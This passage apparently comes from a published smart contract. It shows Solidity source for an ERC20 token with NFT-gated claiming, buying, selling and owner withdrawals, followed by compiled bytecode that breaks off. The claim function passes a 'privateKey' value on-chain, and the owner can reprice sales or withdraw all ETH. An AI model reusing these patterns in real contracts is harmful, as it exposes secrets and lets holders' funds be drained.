auth(nftTokenId,privateKey,newSignature); require(_amount > 0, "You have to claim at least 1 token."); uint256 contractBalance = ERC20(address(this)).balanceOf(address(this)); require(contractBalance >= _amount, "Contract does not have enough tokens for you to claim right now."); require((contractBalance - _amount) >= reserveAmount, "Contract does not have enough tokens for you to claim right now."); (bool sent) = ERC20(address(this)).transfer(msg.sender, _amount); require(sent, "Failed to transfer tokens."); emit tokensClaimed(msg.sender, nftTokenId, _amount); } // Buy Tokens function buyTokens(uint256 _amount) public payable returns (uint256 _amountBought) { require(buyTokensStatus, "Buying tokens is not active at the moment."); if (msg.sender != owner()) { require(msg.value > 0, "Send ETH to buy some tokens."); uint256 ethCost = costToBuy * _amount; require(msg.value >= ethCost, "Not enough ETH to buy tokens."); uint256 contractBalance = ERC20(address(this)).balanceOf(address(this)); require(contractBalance >= _amount, "Contract does not have enough tokens for your purchase."); require((contractBalance - _amount) >= reserveAmount, "Contract does not have enough tokens for your purchase."); } (bool sent) = ERC20(address(this)).transfer(msg.sender, _amount); require(sent, "Failed to transfer tokens."); emit tokensBought(msg.sender, msg.value, _amount); return _amount; } // Sell Tokens function sellTokens(uint256 _amount) public { require(sellTokensStatus, "Selling tokens is not active at the moment."); require(_amount > 0, "Specify an amount of tokens greater than zero."); uint256 userBalance = ERC20(address(this)).balanceOf(msg.sender); require(userBalance >= _amount, "Your balance is lower than the amount of tokens you want to sell."); uint256 amountOfETHToTransfer = _amount * tokenSellValue; uint256 contractETHBalance = address(this).balance; require(contractETHBalance >= amountOfETHToTransfer, "Contract does not have enough funds to accept the sell request."); require((contractETHBalance - reserveEth) >= amountOfETHToTransfer, "Contract does not have enough funds to accept the sell request."); approve(address(this), _amount); (bool sent) = ERC20(address(this)).transferFrom(msg.sender, address(this), _amount); require(sent, "Failed to transfer tokens."); (sent,) = msg.sender.call{value: amountOfETHToTransfer}(""); require(sent, "Failed to send ETH."); emit tokensSold(msg.sender, _amount, amountOfETHToTransfer); } // Send Tokens Back to Contract function sendTokensBack(uint256 _amount) public { require(sendTokensBackStatus, "Sending tokens back is not active at the moment."); require(_amount > 0, "Specify an amount of tokens greater than zero."); uint256 userBalance = ERC20(address(this)).balanceOf(msg.sender); require(userBalance >= _amount, "Your balance is lower than the amount of tokens needed."); approve(address(this), _amount); (bool sent) = ERC20(address(this)).transferFrom(msg.sender, address(this), _amount); require(sent, "Failed to transfer tokens."); } // Get Status function getStatus(string memory _type) public view returns (bool _status) { if(compare(_type,"claimTokens")) { _status = claimTokensStatus; } else if(compare(_type,"buyTokens")) { _status = buyTokensStatus; } else if(compare(_type,"sellTokens")) { _status = sellTokensStatus; } else if(compare(_type,"sendTokensBack")) { _status = sendTokensBackStatus; } return _status; } // Set Status function setStatus(string[] calldata _type, bool[] calldata _status) public onlyOwner { for (uint i=0; i < _type.length; i++) { if(compare(_type[i],"mint")) { mintStatus = _status[i]; } else if(compare(_type[i],"claimTokens")) { claimTokensStatus = _status[i]; } else if(compare(_type[i],"buyTokens")) { buyTokensStatus = _status[i]; } else if(compare(_type[i],"sellTokens")) { sellTokensStatus = _status[i]; } else if(compare(_type[i],"sendTokensBack")) { sendTokensBackStatus = _status[i]; } } } // Change Values for costToBuy and tokenSellValue and reserveAmount function changeVars(string[] calldata _vars,uint256[] calldata _amounts) public onlyOwner { for (uint i=0; i < _vars.length; i++) { if(compare(_vars[i],"costToBuy")) { costToBuy = _amounts[i]; } else if(compare(_vars[i],"tokenSellValue")) { tokenSellValue = _amounts[i]; } else if(compare(_vars[i],"reserveAmount")) { reserveAmount = _amounts[i]; } else if(compare(_vars[i],"reserveEth")) { reserveEth = _amounts[i]; } } } // Withdraw Exact Amount function withdrawAmount(uint256 _amount) public onlyOwner { uint256 ownerBalance = address(this).balance; require(ownerBalance >= _amount, "The contract does not have enough of a balance to withdraw."); (bool sent,) = msg.sender.call{value: _amount}(""); require(sent, "Failed to send withdraw."); } // Withdraw function withdraw() public onlyOwner { uint256 ownerBalance = address(this).balance; require(ownerBalance > 0, "The contract does not have a balance to withdraw."); (bool sent,) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send withdraw."); } // Compare Strings function compare(string memory a, string memory b) public pure returns(bool) { return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b)); } }
0x6080604052600436106102465760003560e01c80635f9ed499116101395780638633cf4a116100b6578063a457c2d71161007a578063a457c2d71461084d578063a9059cbb1461088a578063b5209c20146108c7578063dd62ed3e146108f2578063ded046581461092f578063f2fde38b1461095857610246565b80638633cf4a14610776578063899b1528146107a15780638da5cb5b146107cc57806395d89b41146107f75780639da3f8fd1461082257610246565b806371685ecc116100fd57806371685ecc146106b757806379cc6790146106e25780637a13e2221461070b5780637f50b4bf146107365780638456cb591461075f57610246565b80635f9ed499146105e45780636c11bcd31461060f57806370a082311461063857806370d8a44e14610675578063715018a6146106a057610246565b806339509351116101c757806342966c681161018b57806342966c68146104ff578063441f36b5146105285780634b09b72a146105655780635ab2338f146105905780635c975abb146105b957610246565b8063395093511461042e5780633a96fdd71461046b5780633ccfd60b146104a85780633f4ba83a146104bf57806340c10f19146104d657610246565b806322b05ed21161020e57806322b05ed21461033057806323b872dd1461036d5780632ce770f5146103aa578063313ce567146103d35780633610724e146103fe57610246565b80630252fbda1461024b5780630562b9f71461027457806306fdde031461029d578063095ea7b3146102c857806318160ddd14610305575b600080fd5b34801561025757600080fd5b50610272600480360381019061026d9190613f6d565b610981565b005b34801561028057600080fd5b5061029b60048036038101906102969190613f6d565b610bc6565b005b3480156102a957600080fd5b506102b2610d3b565b6040516102bf91906146e5565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190613c8f565b610dcd565b6040516102fc91906146af565b60405180910390f35b34801561031157600080fd5b5061031a610df0565b6040516103279190614b47565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190613eac565b610dfa565b60405161036491906146af565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f9190613c3c565b610f6c565b6040516103a191906146af565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190613d50565b610f9b565b005b3480156103df57600080fd5b506103e86110ee565b6040516103f59190614b8b565b60405180910390f35b61041860048036038101906104139190613f6d565b6110f7565b6040516104259190614b47565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190613c8f565b611466565b60405161046291906146af565b60405180910390f35b34801561047757600080fd5b50610492600480360381019061048d9190613ef5565b611510565b60405161049f91906146af565b60405180910390f35b3480156104b457600080fd5b506104bd611569565b005b3480156104cb57600080fd5b506104d46116dd565b005b3480156104e257600080fd5b506104fd60048036038101906104f89190613c8f565b611763565b005b34801561050b57600080fd5b5061052660048036038101906105219190613f6d565b61183c565b005b34801561053457600080fd5b5061054f600480360381019061054a9190613eac565b611850565b60405161055c91906146ca565b60405180910390f35b34801561057157600080fd5b5061057a61187e565b6040516105879190614b47565b60405180910390f35b34801561059c57600080fd5b506105b760048036038101906105b29190613dd1565b611884565b005b3480156105c557600080fd5b506105ce611c67565b6040516105db91906146af565b60405180910390f35b3480156105f057600080fd5b506105f9611c7e565b60405161060691906146af565b60405180910390f35b34801561061b57600080fd5b5061063660048036038101906106319190613f6d565b611c91565b005b34801561064457600080fd5b5061065f600480360381019061065a9190613bcf565b61207e565b60405161066c9190614b47565b60405180910390f35b34801561068157600080fd5b5061068a6120c6565b60405161069791906146af565b60405180910390f35b3480156106ac57600080fd5b506106b56120d9565b005b3480156106c357600080fd5b506106cc612161565b6040516106d99190614b47565b60405180910390f35b3480156106ee57600080fd5b5061070960048036038101906107049190613c8f565b612167565b005b34801561071757600080fd5b50610720612187565b60405161072d91906146af565b60405180910390f35b34801561074257600080fd5b5061075d60048036038101906107589190613ccf565b61219a565b005b34801561076b57600080fd5b506107746126f3565b005b34801561078257600080fd5b5061078b612779565b6040516107989190614b47565b60405180910390f35b3480156107ad57600080fd5b506107b661277f565b6040516107c39190614b47565b60405180910390f35b3480156107d857600080fd5b506107e1612785565b6040516107ee9190614634565b60405180910390f35b34801561080357600080fd5b5061080c6127af565b60405161081991906146e5565b60405180910390f35b34801561082e57600080fd5b50610837612841565b60405161084491906146af565b60405180910390f35b34801561085957600080fd5b50610874600480360381019061086f9190613c8f565b612854565b60405161088191906146af565b60405180910390f35b34801561089657600080fd5b506108b160048036038101906108ac9190613c8f565b61293e565b6040516108be91906146af565b60405180910390f35b3480156108d357600080fd5b506108dc612961565b6040516108e991906146af565b60405180910390f35b3480156108fe57600080fd5b5061091960048036038101906109149190613bfc565b612974565b6040516109269190614b47565b60405180910390f35b34801561093b57600080fd5b5061095660048036038101906109519190613fc7565b6129fb565b005b34801561096457600080fd5b5061097f600480360381019061097a9190613bcf565b612cf5565b005b600a60049054906101000a900460ff166109d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c790614b07565b60405180910390fd5b60008111610a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0a90614a87565b60405180910390fd5b60003073ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401610a4e9190614634565b60206040518083038186803b158015610a6657600080fd5b505afa158015610a7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9e9190613f9a565b905081811015610ae3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ada90614987565b60405180910390fd5b610aed3083610dcd565b5060003073ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866040518463ffffffff1660e01b8152600401610b2d9392919061464f565b602060405180830381600087803b158015610b4757600080fd5b505af1158015610b5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7f9190613e7f565b905080610bc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb890614a27565b60405180910390fd5b505050565b610bce612df2565b73ffffffffffffffffffffffffffffffffffffffff16610bec612785565b73ffffffffffffffffffffffffffffffffffffffff1614610c42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c39906149a7565b60405180910390fd5b600047905081811015610c8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c81906148a7565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff1683604051610cb09061461f565b60006040518083038185875af1925050503d8060008114610ced576040519150601f19603f3d011682016040523d82523d6000602084013e610cf2565b606091505b5050905080610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d90614947565b60405180910390fd5b505050565b606060038054610d4a90614e16565b80601f0160208091040260200160405190810160405280929190818152602001828054610d7690614e16565b8015610dc35780601f10610d9857610100808354040283529160200191610dc3565b820191906000526020600020905b815481529060010190602001808311610da657829003601f168201915b5050505050905090565b600080610dd8612df2565b9050610de5818585612dfa565b600191505092915050565b6000600254905090565b6000610e3b826040518060400160405280600b81526020017f636c61696d546f6b656e73000000000000000000000000000000000000000000815250611510565b15610e5757600a60019054906101000a900460ff169050610f67565b610e96826040518060400160405280600981526020017f627579546f6b656e730000000000000000000000000000000000000000000000815250611510565b15610eb257600a60029054906101000a900460ff169050610f66565b610ef1826040518060400160405280600a81526020017f73656c6c546f6b656e7300000000000000000000000000000000000000000000815250611510565b15610f0d57600a60039054906101000a900460ff169050610f65565b610f4c826040518060400160405280600e81526020017f73656e64546f6b656e734261636b000000000000000000000000000000000000815250611510565b15610f6457600a60049054906101000a900460ff1690505b5b5b5b919050565b600080610f77612df2565b9050610f84858285612fc5565b610f8f858585613051565b60019150509392505050565b610fa3612df2565b73ffffffffffffffffffffffffffffffffffffffff16610fc1612785565b73ffffffffffffffffffffffffffffffffffffffff1614611017576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100e906149a7565b60405180910390fd5b60005b848490508110156110e757600085858381811061103a57611039614f20565b5b905060200281019061104c9190614ba6565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050905060008484848181106110a6576110a5614f20565b5b90506020020135905080600b836040516110c091906145e4565b908152602001604051809103902081905550505080806110df90614e79565b91505061101a565b5050505050565b60006012905090565b6000600a60029054906101000a900460ff16611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113f90614767565b60405180910390fd5b611150612785565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461133d57600034116111c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bc90614a47565b60405180910390fd5b6000826006546111d59190614ce7565b90508034101561121a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121190614867565b60405180910390fd5b60003073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112559190614634565b60206040518083038186803b15801561126d57600080fd5b505afa158015611281573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a59190613f9a565b9050838110156112ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e190614847565b60405180910390fd5b60085484826112f99190614d41565b101561133a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133190614847565b60405180910390fd5b50505b60003073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b815260040161137a929190614686565b602060405180830381600087803b15801561139457600080fd5b505af11580156113a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cc9190613e7f565b90508061140e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140590614a27565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167eae404b3dc9b4a4b60ccee470a69dc7d92a2d2b1398ddf3d84385c75944daaa3485604051611455929190614b62565b60405180910390a282915050919050565b600080611471612df2565b9050611505818585600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115009190614c91565b612dfa565b600191505092915050565b60008160405160200161152391906145e4565b604051602081830303815290604052805190602001208360405160200161154a91906145e4565b6040516020818303038152906040528051906020012014905092915050565b611571612df2565b73ffffffffffffffffffffffffffffffffffffffff1661158f612785565b73ffffffffffffffffffffffffffffffffffffffff16146115e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115dc906149a7565b60405180910390fd5b60004790506000811161162d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611624906147e7565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff16476040516116539061461f565b60006040518083038185875af1925050503d8060008114611690576040519150601f19603f3d011682016040523d82523d6000602084013e611695565b606091505b50509050806116d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d090614947565b60405180910390fd5b5050565b6116e5612df2565b73ffffffffffffffffffffffffffffffffffffffff16611703612785565b73ffffffffffffffffffffffffffffffffffffffff1614611759576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611750906149a7565b60405180910390fd5b6117616132d2565b565b61176b612df2565b73ffffffffffffffffffffffffffffffffffffffff16611789612785565b73ffffffffffffffffffffffffffffffffffffffff16146117df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d6906149a7565b60405180910390fd5b600a60009054906101000a900460ff1661182e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182590614727565b60405180910390fd5b6118388282613374565b5050565b61184d611847612df2565b826134d4565b50565b600b818051602081018201805184825260208301602085012081835280955050505050506000915090505481565b60085481565b61188c612df2565b73ffffffffffffffffffffffffffffffffffffffff166118aa612785565b73ffffffffffffffffffffffffffffffffffffffff1614611900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f7906149a7565b60405180910390fd5b60005b84849050811015611c60576119b485858381811061192457611923614f20565b5b90506020028101906119369190614ba6565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506040518060400160405280600981526020017f636f7374546f4275790000000000000000000000000000000000000000000000815250611510565b156119de578282828181106119cc576119cb614f20565b5b90506020020135600681905550611c4d565b611a848585838181106119f4576119f3614f20565b5b9050602002810190611a069190614ba6565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506040518060400160405280600e81526020017f746f6b656e53656c6c56616c7565000000000000000000000000000000000000815250611510565b15611aae57828282818110611a9c57611a9b614f20565b5b90506020020135600781905550611c4c565b611b54858583818110611ac457611ac3614f20565b5b9050602002810190611ad69190614ba6565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506040518060400160405280600d81526020017f72657365727665416d6f756e7400000000000000000000000000000000000000815250611510565b15611b7e57828282818110611b6c57611b6b614f20565b5b90506020020135600881905550611c4b565b611c24858583818110611b9457611b93614f20565b5b9050602002810190611ba69190614ba6565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506040518060400160405280600a81526020017f7265736572766545746800000000000000000000000000000000000000000000815250611510565b15611c4a57828282818110611c3c57611c3b614f20565b5b905060200201356009819055505b5b5b5b8080611c5890614e79565b915050611903565b5050505050565b6000600560009054906101000a900460ff16905090565b600a60029054906101000a900460ff1681565b600a60039054906101000a900460ff16611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd790614967565b60405180910390fd5b60008111611d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1a90614a87565b60405180910390fd5b60003073ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401611d5e9190614634565b60206040518083038186803b158015611d7657600080fd5b505afa158015611d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dae9190613f9a565b905081811015611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea906148e7565b60405180910390fd5b600060075483611e039190614ce7565b9050600047905081811015611e4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4490614887565b60405180910390fd5b8160095482611e5c9190614d41565b1015611e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9490614887565b60405180910390fd5b611ea73085610dcd565b5060003073ffffffffffffffffffffffffffffffffffffffff166323b872dd3330886040518463ffffffff1660e01b8152600401611ee79392919061464f565b602060405180830381600087803b158015611f0157600080fd5b505af1158015611f15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f399190613e7f565b905080611f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7290614a27565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff1683604051611f9f9061461f565b60006040518083038185875af1925050503d8060008114611fdc576040519150601f19603f3d011682016040523d82523d6000602084013e611fe1565b606091505b50508091505080612027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201e90614907565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f2cf8ec0af9cc504531fe2392542793e26f95be50724e0d0bcc46f01f7521e6ef868560405161206f929190614b62565b60405180910390a25050505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60049054906101000a900460ff1681565b6120e1612df2565b73ffffffffffffffffffffffffffffffffffffffff166120ff612785565b73ffffffffffffffffffffffffffffffffffffffff1614612155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214c906149a7565b60405180910390fd5b61215f60006136ab565b565b60065481565b61217982612173612df2565b83612fc5565b61218382826134d4565b5050565b600a60039054906101000a900460ff1681565b6121a2612df2565b73ffffffffffffffffffffffffffffffffffffffff166121c0612785565b73ffffffffffffffffffffffffffffffffffffffff1614612216576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220d906149a7565b60405180910390fd5b60005b848490508110156126ec576122ca85858381811061223a57612239614f20565b5b905060200281019061224c9190614ba6565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506040518060400160405280600481526020017f6d696e7400000000000000000000000000000000000000000000000000000000815250611510565b15612315578282828181106122e2576122e1614f20565b5b90506020020160208101906122f79190613e52565b600a60006101000a81548160ff0219169083151502179055506126d9565b6123bb85858381811061232b5761232a614f20565b5b905060200281019061233d9190614ba6565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506040518060400160405280600b81526020017f636c61696d546f6b656e73000000000000000000000000000000000000000000815250611510565b15612406578282828181106123d3576123d2614f20565b5b90506020020160208101906123e89190613e52565b600a60016101000a81548160ff0219169083151502179055506126d8565b6124ac85858381811061241c5761241b614f20565b5b905060200281019061242e9190614ba6565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506040518060400160405280600981526020017f627579546f6b656e730000000000000000000000000000000000000000000000815250611510565b156124f7578282828181106124c4576124c3614f20565b5b90506020020160208101906124d99190613e52565b600a60026101000a81548160ff0219169083151502179055506126d7565b61259d85858381811061250d5761250c614f20565b5b905060200281019061251f9190614ba6565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506040518060400160405280600a81526020017f73656c6c546f6b656e7300000000000000000000000000000000000000000000815250611510565b156125e8578282828181106125b5576125b4614f20565b5b90506020020160208101906125ca9190613e52565b600a60036101000a81548160ff0219169083151502179055506126d6565b61268e8585838181106125fe576125fd614f20565b5b90506020028101906126109190614ba6565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506040518060400160405280600e81526020017f73656e64546f6b656e734261636b000000000000000000000000000000000000815250611510565b156126d5578282828181106126a6576126a5614f20565b5b90506020020160208101906126bb9190613e52565b600a60046101000a81548160ff0219169083151502179055505b5b5b5b5b80806126e490614e79565b915050612219565b5050505050565b6126fb612df2565b73ffffffffffffffffffffffffffffffffffffffff16612719612785565b73ffffffffffffffffffffffffffffffffffffffff161461276f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612766906149a7565b60405180910390fd5b612777613771565b565b60075481565b60095481565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546127be90614e16565b80601f01602080910402602001604051908101604052809291908181526020018280546127ea90614e16565b80156128375780601f1061280c57610100808354040283529160200191612837565b820191906000526020600020905b81548152906001019060200180831161281a57829003601f168201915b5050505050905090565b600a60009054906101000a900460ff1681565b60008061285f612df2565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015612925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291c90614ae7565b60405180910390fd5b6129328286868403612dfa565b60019250505092915050565b600080612949612df2565b9050612956818585613051565b600191505092915050565b600a60019054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60019054906101000a900460ff16612a4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a41906149e7565b60405180910390fd5b612a55838383613814565b60008411612a98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8f90614aa7565b60405180910390fd5b60003073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401612ad39190614634565b60206040518083038186803b158015612aeb57600080fd5b505afa158015612aff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b239190613f9a565b905084811015612b68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b5f90614927565b60405180910390fd5b6008548582612b779190614d41565b1015612bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baf90614927565b60405180910390fd5b60003073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33886040518363ffffffff1660e01b8152600401612bf5929190614686565b602060405180830381600087803b158015612c0f57600080fd5b505af1158015612c23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c479190613e7f565b905080612c89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c8090614a27565b60405180910390fd5b84604051612c9791906145e4565b60405180910390203373ffffffffffffffffffffffffffffffffffffffff167f3342396a1b05d7a6416ee6bbc87bdee0ae2c283b97ac21fa8773e09538224f2488604051612ce59190614b47565b60405180910390a3505050505050565b612cfd612df2565b73ffffffffffffffffffffffffffffffffffffffff16612d1b612785565b73ffffffffffffffffffffffffffffffffffffffff1614612d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d68906149a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd8906147a7565b60405180910390fd5b612dea816136ab565b50565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6190614a67565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed1906147c7565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612fb89190614b47565b60405180910390a3505050565b6000612fd18484612974565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461304b578181101561303d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161303490614807565b60405180910390fd5b61304a8484848403612dfa565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156130c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130b890614a07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613131576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312890614707565b60405180910390fd5b61313c83838361392c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156131c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131b990614827565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132559190614c91565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516132b99190614b47565b60405180910390a36132cc848484613984565b50505050565b6132da611c67565b613319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161331090614747565b60405180910390fd5b6000600560006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa61335d612df2565b60405161336a9190614634565b60405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156133e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133db90614b27565b60405180910390fd5b6133f06000838361392c565b80600260008282546134029190614c91565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546134579190614c91565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516134bc9190614b47565b60405180910390a36134d060008383613984565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613544576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353b906149c7565b60405180910390fd5b6135508260008361392c565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156135d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135cd90614787565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816002600082825461362d9190614d41565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516136929190614b47565b60405180910390a36136a683600084613984565b505050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b613779611c67565b156137b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137b0906148c7565b60405180910390fd5b6001600560006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586137fd612df2565b60405161380a9190614634565b60405180910390a1565b6000600b8460405161382691906145e4565b9081526020016040518091039020541415613876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161386d90614ac7565b60405180910390fd5b6000838360405160200161388b9291906145fb565b60405160208183030381529060405280519060200120905080600b856040516138b491906145e4565b9081526020016040